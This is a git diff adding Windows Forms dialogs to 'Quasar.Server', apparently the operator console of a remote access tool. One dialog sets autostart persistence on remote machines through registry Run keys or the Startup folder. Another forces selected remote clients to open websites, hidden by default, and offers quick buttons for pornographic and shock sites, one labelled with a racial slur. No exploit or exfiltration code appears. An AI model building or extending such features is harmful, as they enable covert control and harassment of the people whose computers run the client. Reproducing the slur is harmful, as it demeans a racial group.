"Remote Type of Autostart Item."); + // + // txtPath + // + this.txtPath.Location = new System.Drawing.Point(74, 43); + this.txtPath.Name = "txtPath"; + this.txtPath.Size = new System.Drawing.Size(573, 22); + this.txtPath.TabIndex = 3; + this.toolTip1.SetToolTip(this.txtPath, "Remote Path to Autostart Item."); + this.txtPath.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtPath_KeyPress); + // + // txtName + // + this.txtName.Location = new System.Drawing.Point(74, 15); + this.txtName.MaxLength = 64; + this.txtName.Name = "txtName"; + this.txtName.Size = new System.Drawing.Size(573, 22); + this.txtName.TabIndex = 1; + this.txtName.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtName_KeyPress); + // + // lblPath + // + this.lblPath.AutoSize = true; + this.lblPath.Location = new System.Drawing.Point(35, 46); + this.lblPath.Name = "lblPath"; + this.lblPath.Size = new System.Drawing.Size(33, 13); + this.lblPath.TabIndex = 2; + this.lblPath.Text = "Path:"; + // + // lblName + // + this.lblName.AutoSize = true; + this.lblName.Location = new System.Drawing.Point(29, 18); + this.lblName.Name = "lblName"; + this.lblName.Size = new System.Drawing.Size(39, 13); + this.lblName.TabIndex = 0; + this.lblName.Text = "Name:"; + // + // btnAdd + // + this.btnAdd.DialogResult = System.Windows.Forms.DialogResult.Cancel; + this.btnAdd.Location = new System.Drawing.Point(576, 123); + this.btnAdd.Name = "btnAdd"; + this.btnAdd.Size = new System.Drawing.Size(89, 23); + this.btnAdd.TabIndex = 1; + this.btnAdd.Text = "&Add"; + this.btnAdd.UseVisualStyleBackColor = true; + this.btnAdd.Click += new System.EventHandler(this.btnAdd_Click); + // + // btnCancel + // + this.btnCancel.DialogResult = System.Windows.Forms.DialogResult.Cancel; + this.btnCancel.Location = new System.Drawing.Point(449, 123); + this.btnCancel.Name = "btnCancel"; + this.btnCancel.Size = new System.Drawing.Size(89, 23); + this.btnCancel.TabIndex = 2; + this.btnCancel.Text = "&Cancel"; + this.btnCancel.UseVisualStyleBackColor = true; + this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click); + // + // FrmAddToAutostart + // + this.AcceptButton = this.btnAdd; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.CancelButton = this.btnCancel; + this.ClientSize = new System.Drawing.Size(677, 158); + this.Controls.Add(this.btnCancel); + this.Controls.Add(this.btnAdd); + this.Controls.Add(this.groupAutostartItem); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmAddToAutostart"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Add to Autostart"; + this.groupAutostartItem.ResumeLayout(false); + this.groupAutostartItem.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.GroupBox groupAutostartItem; + private System.Windows.Forms.TextBox txtPath; + private System.Windows.Forms.TextBox txtName; + private System.Windows.Forms.Label lblPath; + private System.Windows.Forms.Label lblName; + private System.Windows.Forms.ComboBox cmbType; + private System.Windows.Forms.Label lblType; + private System.Windows.Forms.Button btnAdd; + private System.Windows.Forms.Button btnCancel; + private System.Windows.Forms.ToolTip toolTip1; + } +} \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmStartupAdd.cs b/Quasar.Server/Forms/FrmStartupAdd.cs new file mode 100644 index 0000000..032be43 --- /dev/null +++ b/Quasar.Server/Forms/FrmStartupAdd.cs @@ -0,0 +1,73 @@ +using Quasar.Common.Enums; +using Quasar.Common.Helpers; +using Quasar.Common.Models; +using System; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmStartupAdd : Form + { + public StartupItem StartupItem { get; set; } + + public FrmStartupAdd() + { + InitializeComponent(); + AddTypes(); + } + + public FrmStartupAdd(string startupPath) + { + InitializeComponent(); + AddTypes(); + + txtName.Text = Path.GetFileNameWithoutExtension(startupPath); + txtPath.Text = startupPath; + } + + /// + /// Adds all supported startup types to ComboBox groups. + /// + /// + /// Must be in same order as . + /// + private void AddTypes() + { + // must be in same order as StartupType + cmbType.Items.Add("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); + cmbType.Items.Add("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"); + cmbType.Items.Add("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); + cmbType.Items.Add("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"); + cmbType.Items.Add("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"); + cmbType.SelectedIndex = 0; + } + + private void btnAdd_Click(object sender, EventArgs e) + { + StartupItem = new StartupItem + {Name = txtName.Text, Path = txtPath.Text, Type = (StartupType) cmbType.SelectedIndex}; + + this.DialogResult = DialogResult.OK; + this.Close(); + } + + private void btnCancel_Click(object sender, EventArgs e) + { + this.DialogResult = DialogResult.Cancel; + this.Close(); + } + + private void txtName_KeyPress(object sender, KeyPressEventArgs e) + { + e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) && + !char.IsControl(e.KeyChar)); + } + + private void txtPath_KeyPress(object sender, KeyPressEventArgs e) + { + e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) && + !char.IsControl(e.KeyChar)); + } + } +} \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmStartupAdd.resx b/Quasar.Server/Forms/FrmStartupAdd.resx new file mode 100644 index 0000000..1c6fbe3 --- /dev/null +++ b/Quasar.Server/Forms/FrmStartupAdd.resx @@ -0,0 +1,200 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + + + 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 + 0v+lzuP/2e3w/9nf8P/PweT/5tnb/3at3P8giuH/K4vf/i6L4P83jdvnVZnuDwAAAAAA//8Bf///AgAA + AABDqug5NK7w/TG09f8xuff+Mr36/y+8+f9u1f3/ld/2/8WHh/92d5//IL7//yVb+P8dE/T/IiPu/yIi + 5v8eFNn/Hlfg/xuk9f+EY4r/uXqF/4K+4/9Xp+P/JZHk/yyU5f8skOL+Lo/h/zaQ3/k/kNwsAAAAAAB/ + /wJVqv8DAAAAADeq6E4ztvf/Mbz3/jPB+/80xPz/OMr//yi69v+JdZD/63dn/+htZP9tean/P3j//1ZE + //9FQP//QDj9/0Ip8P81dO7/gXma/+tpXv/ibGH/eGiS/yGU6P8ynej/L5jm/y6U5P4ukuL/M5De/ziJ + 1j8AAAAAVVWqA1Wq/wMAAAAAO67sUja/+/80xPv+Nsn+/znN//8vzP//ibPT///i3P/t+f7/7/T3/+LB + 0P9Zh+L/fYz//2ZP/v9ONP//TmD//2qb2v/qx8n/3+To/9vf4f/rxb//c5fG/y6g7P81oOn/MZrm/jGW + 5P8ykeD/M4nXQQAAAAB/f/8CVaqqAwAAAABNuetCQ8f7/z3N//8/0f/+PNX//0/O+P/v8vb/6uvq/2Fe + Yf9UU1n/4dze/7zL8f9Htvr/V6T//1Cf//9Pvfr/1N/w/9XR0v9QTlL/Ylxd/9zU0P/Rz9f/RqPk/z6r + 7v89pOn+O5/o/zeW4v05i9g1AAAAAH9//wIA//8BAAAAACU3h6Jjzfz/Udj//VDZ/v9C2f//et76//// + //+sqqn/OTQz/zw2Nv+gmJn/+vv//1zO+P9c4///WuD//3HV+v//////lI2N/zYsK/87MCz/qp+d//ft + 6/9psuP/S7b0/0+w7f9Oruz9RJng/xoldJwAAAAAAAD/AQAAAAAUGIFJEBGT/3i67v5x5P//Xt3+/1fg + /v965P3//////+Ph4P+BeHT/eGpm/9zU0f/s/v//Z939/2bf//9j3f//ct3+//n////Uysf/YE5I/2VR + Sv/az8v/8erp/27B7/9dwff/Yrnw/23A8/5Oi87/DQ5x/xsed0IAAAAAAAAAABYZnp4KB7r/ZYvm+5r0 + //9x4P7/dOr//27s/v/R9f7///////Lz9f/s8fL///78/6zp+v9g5f//auX//2nj//9g4P//vur5//// + /P/j4+P/5eXm///59P+62uv/Yc7+/2rG+P9zvvH/h8/3/0VowvsLB4z/FxyClwAAAAAzM5kFFxm30RgT + 0v89Teb9pen//4/u//+S2Oz/acjl/4Py///r5t7///Dk///r2f/R1Mz/Z+X9/2Xo//9o5v//aOX//2Lj + //9s3Pv/3s3C///h0f//28r/1sXD/2XS//9krd3/eLPh/4TM+P+HwvH/KjXG/RgUsv8XGpHKVVVVAyQk + ow4cHMnpKCbk/0M77f6Gufn/ovn//8PY0P+8fXP/Sc/4/4n3/v/v0aX/372R/23k9P9g7P//Zen+/2Xp + //9j5///Y+T+/1nj//9t0+v/6JVo/9qUdf9bzfn/Qavs/9FqWv+dts//jdn//2uQ5v80Ktn+JiPQ/xwc + pOIZGWYKPz+/ECUk1+w3Mu7/Y1Xz/niF+v+V5P7/rvn//+u9nf+gZ2v/Uoy6/2yhyP9v4PL/ZfH//2Tr + //9h7P//Yen//2Do//9d5v//W+H+/1Pk//9r0er/XpDA/0dmpf+wSkv/0puO/4XX//9/vfH/aGfr/1dH + 5/4zLd3/IyCz5hkZfwpmZuUKMjDi40E68/9oXvX+e2z5/3Ka/P+p9f//vfr//+LVvv/lo4X/zKWS/3jm + +P9u8P//Ze3//2Ds//9c6///Wej//1fm//9W4/7/VuH//2zY9P/NkHz/2IBp/7+xrv+M2f7/idH4/2h9 + 7/90YPH/XFDq/T004v8sJ8DbHx9/CP///wQ+O+jNPTf2/1xS9PtqX/j9V0r2/neW9/7L///+uP///a7/ + //2c+///gvL//3Hv//9o7v//X+3//1rq//9W6P//Vef//1bk//9a4f//ZeD//3Xk//985P/9i+b//avk + /P5mfu7+Vkbv/mRX8P1SR+n7PjTj/zItwcZ/fwACAAAAAEBA5649Nvz/VUb8/FVH+/9KPvP/Nyvp/3F/ + 7v/K8v//xf7//6Ty/f6K8P/7du7//mrt//5i7P//W+v//1fo//9X5v//W+T//mPi//1u4P38gd///qbs + //+23f7/Z3Do/zcr4v9IO+z/UEHz/00/8/w9M+f/NS6+pgAAAAAAAAAAbGrrhGBT7/9uWvDCbFvwzFxO + 6uBJPt/oMyPW5Ghm4cjQ9P3Eyfr//rz///+a9v//gu///3Dr//5m6f78Yef+/GXk//5y5v//h+r//6f1 + //+37P39xub8wmxm4co2KdLlRTjX6E8/3+BcS+TMcl7uxF1P5f9QQ8l8AAAAAAAAAADYzP8U07j/HQAA + AAD///8E////CsSw6w2/v+kMf3//BP///wLd9/9E0vj/oMn0/eO89P/9s/n//6z7//+p+f//rPP//7Tv + /vzA7/7gzPD/m97y/j8AAAAAmZn/BdSq/wywnOsN/8z/Cv///wMAAAAAxbT/H7ib/xIAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////DOb1/zPe+f9X3Pr/Z978 + /2bh+f9V5PT/Mf///woAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA////AX9//wIAAP8BAAD/AQAA/wEAAP8BAAD/AQAA/wEAAAAA////A6r//wMAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAKr//wP///8DAAAAAAAA/wEAAP8BAAD/AQAA/wEAAP8BAAD/AX9/ + /wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/Af// + /wH///8Cv7//BL///wS///8E////A////wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA//Af///H4///OBz//kACf/0AAL/6AABf9AAAL+gAABfQAAAL0AAAC6AA + AAWgAAAFYAAABUAAAAJAAAACQAAAAkAAAAJAAAACQAAAAoAAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAA + AACAAAABgAAAAZAAAgn/8A//gE/yAf/gD/8= + + + \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmVisitWebsite.Designer.cs b/Quasar.Server/Forms/FrmVisitWebsite.Designer.cs new file mode 100644 index 0000000..554a7b3 --- /dev/null +++ b/Quasar.Server/Forms/FrmVisitWebsite.Designer.cs @@ -0,0 +1,184 @@ +namespace Quasar.Server.Forms +{ + partial class FrmVisitWebsite + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmVisitWebsite)); + this.chkVisitHidden = new System.Windows.Forms.CheckBox(); + this.lblURL = new System.Windows.Forms.Label(); + this.txtURL = new System.Windows.Forms.TextBox(); + this.btnVisitWebsite = new System.Windows.Forms.Button(); + this.lblQuick = new System.Windows.Forms.Label(); + this.btnQ1 = new System.Windows.Forms.Button(); + this.btnQ2 = new System.Windows.Forms.Button(); + this.btnQ3 = new System.Windows.Forms.Button(); + this.btnQ4 = new System.Windows.Forms.Button(); + this.btnQ5 = new System.Windows.Forms.Button(); + this.SuspendLayout(); + // + // chkVisitHidden + // + this.chkVisitHidden.AutoSize = true; + this.chkVisitHidden.Checked = true; + this.chkVisitHidden.CheckState = System.Windows.Forms.CheckState.Checked; + this.chkVisitHidden.Location = new System.Drawing.Point(48, 38); + this.chkVisitHidden.Name = "chkVisitHidden"; + this.chkVisitHidden.Size = new System.Drawing.Size(170, 17); + this.chkVisitHidden.TabIndex = 2; + this.chkVisitHidden.Text = "Visit hidden (recommended)"; + this.chkVisitHidden.UseVisualStyleBackColor = true; + // + // lblURL + // + this.lblURL.AutoSize = true; + this.lblURL.Location = new System.Drawing.Point(12, 9); + this.lblURL.Name = "lblURL"; + this.lblURL.Size = new System.Drawing.Size(30, 13); + this.lblURL.TabIndex = 0; + this.lblURL.Text = "URL:"; + // + // txtURL + // + this.txtURL.Location = new System.Drawing.Point(48, 6); + this.txtURL.Name = "txtURL"; + this.txtURL.Size = new System.Drawing.Size(336, 22); + this.txtURL.TabIndex = 1; + // + // btnVisitWebsite + // + this.btnVisitWebsite.Location = new System.Drawing.Point(246, 34); + this.btnVisitWebsite.Name = "btnVisitWebsite"; + this.btnVisitWebsite.Size = new System.Drawing.Size(138, 23); + this.btnVisitWebsite.TabIndex = 3; + this.btnVisitWebsite.Text = "Visit Website"; + this.btnVisitWebsite.UseVisualStyleBackColor = true; + this.btnVisitWebsite.Click += new System.EventHandler(this.btnVisitWebsite_Click); + // + // lblQuick + // + this.lblQuick.AutoSize = true; + this.lblQuick.Location = new System.Drawing.Point(12, 68); + this.lblQuick.Name = "lblQuick"; + this.lblQuick.Size = new System.Drawing.Size(38, 13); + this.lblQuick.TabIndex = 10; + this.lblQuick.Text = "Quick:"; + // + // btnQ1 - PHub Gay + // + this.btnQ1.Location = new System.Drawing.Point(55, 64); + this.btnQ1.Name = "btnQ1"; + this.btnQ1.Size = new System.Drawing.Size(63, 22); + this.btnQ1.TabIndex = 11; + this.btnQ1.Text = "PHub Gay"; + this.btnQ1.UseVisualStyleBackColor = true; + this.btnQ1.Click += new System.EventHandler(this.btnQ1_Click); + // + // btnQ2 - NiggaFart + // + this.btnQ2.Location = new System.Drawing.Point(121, 64); + this.btnQ2.Name = "btnQ2"; + this.btnQ2.Size = new System.Drawing.Size(63, 22); + this.btnQ2.TabIndex = 12; + this.btnQ2.Text = "NiggaFart"; + this.btnQ2.UseVisualStyleBackColor = true; + this.btnQ2.Click += new System.EventHandler(this.btnQ2_Click); + // + // btnQ3 - MeatSpin + // + this.btnQ3.Location = new System.Drawing.Point(187, 64); + this.btnQ3.Name = "btnQ3"; + this.btnQ3.Size = new System.Drawing.Size(63, 22); + this.btnQ3.TabIndex = 13; + this.btnQ3.Text = "LemonParty"; + this.btnQ3.UseVisualStyleBackColor = true; + this.btnQ3.Click += new System.EventHandler(this.btnQ3_Click); + // + // btnQ4 - NHentai + // + this.btnQ4.Location = new System.Drawing.Point(253, 64); + this.btnQ4.Name = "btnQ4"; + this.btnQ4.Size = new System.Drawing.Size(63, 22); + this.btnQ4.TabIndex = 14; + this.btnQ4.Text = "NHentai"; + this.btnQ4.UseVisualStyleBackColor = true; + this.btnQ4.Click += new System.EventHandler(this.btnQ4_Click); + // + // btnQ5 - E621 + // + this.btnQ5.Location = new System.Drawing.Point(319, 64); + this.btnQ5.Name = "btnQ5"; + this.btnQ5.Size = new System.Drawing.Size(63, 22); + this.btnQ5.TabIndex = 15; + this.btnQ5.Text = "E621 (furry)"; + this.btnQ5.UseVisualStyleBackColor = true; + this.btnQ5.Click += new System.EventHandler(this.btnQ5_Click); + // + // FrmVisitWebsite + // + this.AcceptButton = this.btnVisitWebsite; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(396, 96); + this.Controls.Add(this.chkVisitHidden); + this.Controls.Add(this.lblURL); + this.Controls.Add(this.txtURL); + this.Controls.Add(this.btnVisitWebsite); + this.Controls.Add(this.lblQuick); + this.Controls.Add(this.btnQ1); + this.Controls.Add(this.btnQ2); + this.Controls.Add(this.btnQ3); + this.Controls.Add(this.btnQ4); + this.Controls.Add(this.btnQ5); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmVisitWebsite"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Visit Website []"; + this.Load += new System.EventHandler(this.FrmVisitWebsite_Load); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.CheckBox chkVisitHidden; + private System.Windows.Forms.Label lblURL; + private System.Windows.Forms.TextBox txtURL; + private System.Windows.Forms.Button btnVisitWebsite; + private System.Windows.Forms.Label lblQuick; + private System.Windows.Forms.Button btnQ1; + private System.Windows.Forms.Button btnQ2; + private System.Windows.Forms.Button btnQ3; + private System.Windows.Forms.Button btnQ4; + private System.Windows.Forms.Button btnQ5; + } +} \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmVisitWebsite.cs b/Quasar.Server/Forms/FrmVisitWebsite.cs new file mode 100644 index 0000000..66c2d65 --- /dev/null +++ b/Quasar.Server/Forms/FrmVisitWebsite.cs @@ -0,0 +1,40 @@ +using System; +using System.Windows.Forms; +using Quasar.Server.Helper; + +namespace Quasar.Server.Forms +{ + public partial class FrmVisitWebsite : Form + { + public string Url { get; set; } + public bool Hidden { get; set; } + + private readonly int _selectedClients; + + public FrmVisitWebsite(int selected) + { + _selectedClients = selected; + InitializeComponent(); + } + + private void FrmVisitWebsite_Load(object sender, EventArgs e) + { + this.Text = WindowHelper.GetWindowTitle("Visit Website", _selectedClients); + } + + private void btnVisitWebsite_Click(object sender, EventArgs e) + { + Url = txtURL.Text; + Hidden = chkVisitHidden.Checked; + + this.DialogResult = DialogResult.OK; + this.Close(); + } + + private void btnQ1_Click(object sender, EventArgs e) { txtURL.Text = "https://www.pornhub.com/gay"; } + private void btnQ2_Click(object sender, EventArgs e) { txtURL.Text = "https://www.niggafart.com"; } + private void btnQ3_Click(object sender, EventArgs e) { txtURL.Text = "https://www.lemonparty.org"; } + private void btnQ4_Click(object sender, EventArgs e) { txtURL.Text = "https://nhentai.net"; } + private void btnQ5_Click(object sender, EventArgs e) { txtURL.Text = "https://e621.net"; } + } +} \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmVisitWebsite.resx b/Quasar.Server/Forms/FrmVisitWebsite.resx new file mode 100644 index 0000000..1af8dfb --- /dev/null +++ b/Quasar.Server/Forms/FrmVisitWebsite.resx @@ -0,0 +1,197 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAICAAAAEAIACoEAAAFgAAACgAAAAgAAAAQAAAAAEAIAAAAAAAABAAABMLAAATCwAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8BAP//AQD/ + /wEAf/8CAH//AgD//wEA//8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//8BP7//BH// + /wIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB///8CP7//BAAA/wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf/8CVar/AwAA + AAAAAAAAAAAAAG3a/gdOxPUaSLz4Kki2+CpHt/QZVdT/BgAAAAAAAAAAAAAAAFWq/wMAf38CAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//AgB/ + /wIAAAAATLLyFD64+WI8vPqoPLv52zm6+PU3uvn5Nrj4+Tez9fQ4r/TYN6rxpTmk7l1Pn+8QAAAAAAB/ + /wIAVaoDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWq + /wMAAAAASLb+Djux9H04tPfoOMH//y/B//4itf//Hq/8/yGt+P8hqvj/HKf4/x+p+v8sr//+M6n5/zKa + 6eQ0lud1RYvQCwAAAABVqqoDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABVqv8DAAAAAD6l6Dk1qvPWNrv//ymy+/4eqPX9PLLz+3bH7/6i2fD+tuHw/rXf7v6c0+3+brvq/jOf + 6/sZkur9JZjv/jCb9P8wi+DPOorZMAAAAABVqv8DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAVar/AwAAAAA6nutPNKXy9TCt+v8eofD8PKnu/qTV6//l7O3/2tTs/7Wr4/+akt7/m5Pd/7eu + 4f/b1On/3uXn/5TD4v8wkuP9Gofi/CyP6v8uht/wNX3QRwAAAAAAqqoDAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAFWqqgMAAAAAPZbgQjSe8PYuofH/HZrt/GW06P/j6OX/xLzt/1dVzv8YF7L/Cgiz/wAA + sf8BAK//CQas/xoZrP9fXMv/ysHn/9fe3/9Tmt3/GH/e/CmG4f8ugtrwN4HMNwAAAAB/f/8CAAAAAAAA + AAAAAAAAAAAAAAAAAAAA//8BAAAAAEWW3BY2nO3ZMJ7x/x2U6vxxs+T/6+bj/3t43/8JCob/AAAi/wEB + Q/8CAZD/AgKj/wICof8BAYj/AQE5/wAAJP8NDoj/iITa/+Xh3P9dm9n/GHvb/CyE4P8ygdfRRIi7DwAA + AAAAAP8BAAAAAAAAAAAAAAAAAAAAAAD//wIAAAAAPJzpjzWi9v8glOn7V6fj/+bi3/9jYdf/AABZ/wIC + Bv8DAw3/AgIN/wICJP8CAjv/AgI6/wICIv8CAgz/AwMM/wEBB/8AAFz/dHDT/+Dd2f9Fjdf/HXvZ+zCH + 4/83gtWBAAAAAABVqgMAAAAAAAAAAAAAAAAAf38CAAAAAFCn8CM4oOzvLZvr/yqX5/7H193/ioba/wAA + 